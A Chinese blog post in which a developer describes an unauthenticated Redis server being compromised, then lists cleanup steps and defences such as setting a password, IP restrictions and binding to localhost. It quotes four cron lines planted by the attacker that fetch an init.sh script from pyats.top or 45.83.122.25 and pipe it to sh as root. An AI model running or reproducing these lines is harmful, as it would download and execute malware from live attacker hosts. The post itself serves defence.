记Redis 被攻击,数据被定时清除的问题

问题描述

搞自己项目的时候,在云服务器上部署了redis,没有设密码,结果用了几天发现数据老是丢失,排查了过期时间以及内存大小都没有问题,然后注意到了几个陌生的backup1、buckup2、backup3、backup4数据:

backup1: */2 * * * * root cd1 -fsSL http://pyats.top/3nFTk7/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://pyats.top/3nFTk7/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.122.25/3nFTk7/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.122.25/3nFTk7/init.sh | sh

刚开始以为是redis自带的东西,管理数据备份啥的,之后在网上查了查才发现,是被网络攻击了,看来网络攻击还是离我们很近的,要提高安全意识。

上面都是些定时任务,分别在2分钟、3分钟、4分钟、5分钟下载 init.sh 脚本并执行。

解决方法:

  1. 删除这些数据
  2. 为redis设置密码
  3. 重启redis服务

防御手段:

  1. 修改redis暴露的端口,添加用户名和密码认证
  2. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器
  3. 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1" ,可以设置成只对特定ip监听
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值